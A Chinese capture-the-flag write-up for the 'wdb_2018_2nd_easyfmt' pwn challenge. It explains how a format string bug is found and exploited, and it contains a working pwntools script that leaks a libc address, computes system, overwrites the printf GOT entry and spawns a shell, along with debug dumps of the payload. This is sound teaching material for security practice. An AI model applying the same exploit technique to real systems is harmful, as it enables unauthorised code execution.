从零开始做题:逆向wdb_2018_2nd_easyfmt

1.题目信息

从零开始做题:逆向wdb_2018_2nd_easyfmt_第1张图片

2.解题分析

从零开始做题:逆向wdb_2018_2nd_easyfmt_第2张图片

格式化字符串漏洞

如何确定偏移

Do you know repeater?

输入AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.

输出AAAA.0xffffd658.0x64.0xf7ffdc08.0xf7ffcd00.0xffffd77c.0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.

#通过格式化输出数据,0xf7打头的是第3个,打印第3个0xf7ffdc08,AAAA格式和0x41414141一致,offset为6

最开始输入的AAAA,在offset=6的位置输出了,可以推出栈上其他位置的偏移。

[*] '/ctf/work/3/wdb_2018_2nd_easyfmt'
    Arch:     i386-32-little           #32位程序
    RELRO:    Partial RELRO   #got表可写
    Stack:    No canary found    #栈可溢出
    NX:       NX enabled            #shellcode不可以
    PIE:      No PIE (0x8048000) #代码段无随机化,地址都可以知道

[x] Starting local process './wdb_2018_2nd_easyfmt'
[+] Starting local process './wdb_2018_2nd_easyfmt': pid 253
[*] '/ctf/work/3/wdb_2018_2nd_easyfmt'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[DEBUG] Sent 0x5 bytes:
    '%3$p\n'
[DEBUG] Received 0x22 bytes:
    'Do you know repeater?\n'
    '0xf7f15c08\n'
    '\n'
[*] leak: 0xf7f15c08
[*] libc: 0xf7d36000
[DEBUG] Sent 0x3b bytes:
    00000000  14 a0 04 08  15 a0 04 08  16 a0 04 08  17 a0 04 08  │····│····│····│····│
    00000010  25 34 38 63  25 36 24 68  68 6e 25 32  30 31 63 25  │%48c│%6$h│hn%2│01c%│
    00000020  37 24 68 68  6e 25 32 30  36 63 25 38  24 68 68 6e  │7$hh│n%20│6c%8│$hhn│
    00000030  25 33 32 63  25 39 24 68  68 6e 0a                  │%32c│%9$h│hn·│
    0000003b
[*] Switching to interactive mode

[DEBUG] Received 0x1f9 bytes:
    00000000  14 a0 04 08  15 a0 04 08  16 a0 04 08  17 a0 04 08  │····│····│····│····│
    00000010  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    00000030  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 08  │    │    │    │   ·│
    00000040  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    00000100  20 20 20 20  20 20 20 20  64 20 20 20  20 20 20 20  │    │    │d   │    │
    00000110  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    *
    000001d0  20 20 20 20  20 20 08 20  20 20 20 20  20 20 20 20  │    │  · │    │    │
    000001e0  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │
    000001f0  20 20 20 20  20 20 00 0a  0a                        │    │  ··│·│
    000001f9
����                                                                                                                                                                                                                                                       d                                                                                                                                                                                                                                            

3.解题脚本及注解

使用powdocker1604环境https://blog.csdn.net/weixin_44626085/article/details/135561582

从零开始做题:逆向wdb_2018_2nd_easyfmt_第3张图片

标红的地方替换下面相应的值 

#coding=utf-8
from pwn import *
#设置gdp调试环境tmux
context.terminal=["tmux","sp","-h"]

#p = process(["/glibc/2.23/32/lib/ld-2.23.so", "./test"], env={"LD_PRELOAD":"/glibc/2.23/32/lib/libc.so.6"})
#p = process(["/glibc/2.23/32/lib/ld-2.23.so", "./test"], env={'LD_PRELOAD':'./libc-2.23.so'})
#p= process('./wdb_2018_2nd_easyfmt')
#本地调试./wdb_2018_2nd_easyfmt,使用远程环境的提供的libc-2.23.so
p = process('./wdb_2018_2nd_easyfmt', env={'LD_PRELOAD':'./libc-2.23.so'})
#远程连接环境
#p = remote('node5.buuoj.cn',25976)
#gdb.attach(p)
#gdb动态调试

elf = ELF('./wdb_2018_2nd_easyfmt')
#使用elf函数
context.log_level='debug'

offset = 6 
p.sendline('%3$p') 
#Do you know repeater?
#AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
#AAAA.0xffffd658.0x64.0xf7ffdc08.0xf7ffcd00.0xffffd77c.0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.
#通过格式化输出数据,0xf7打头的是第3个,打印第3个0xf7ffdc08,AAAA格式和0x41414141一致,offset为6

p.recvuntil('0x')
leak = int(p.recvuntil('\n', drop=True), 16)
#接收到f7e306bb,转换成整数

log.info('leak: '+hex(leak))
#输出leak


#pause()
libc = leak-0xf7f60c08+0xf7d81000
#算出libc地址

log.info('libc: '+hex(libc))
#输出libc地址

system =libc+0x3a940
#输出system地址



pl = fmtstr_payload(offset,{elf.got['printf'] : system})
#构造playload,将打印地址改成system地址

p.sendline(pl)

p.interactive()

#pause()

p.sendline('/bin/sh')

最后一个坑是换成远程的时候发现不成功,然后换了一台电脑后就成功了,不成功的是amd芯片的

,成功的intel芯片的。这个坑浪费了我大量的时间。

你可能感兴趣的:(逆向,二进制,Re,python,网络,开发语言)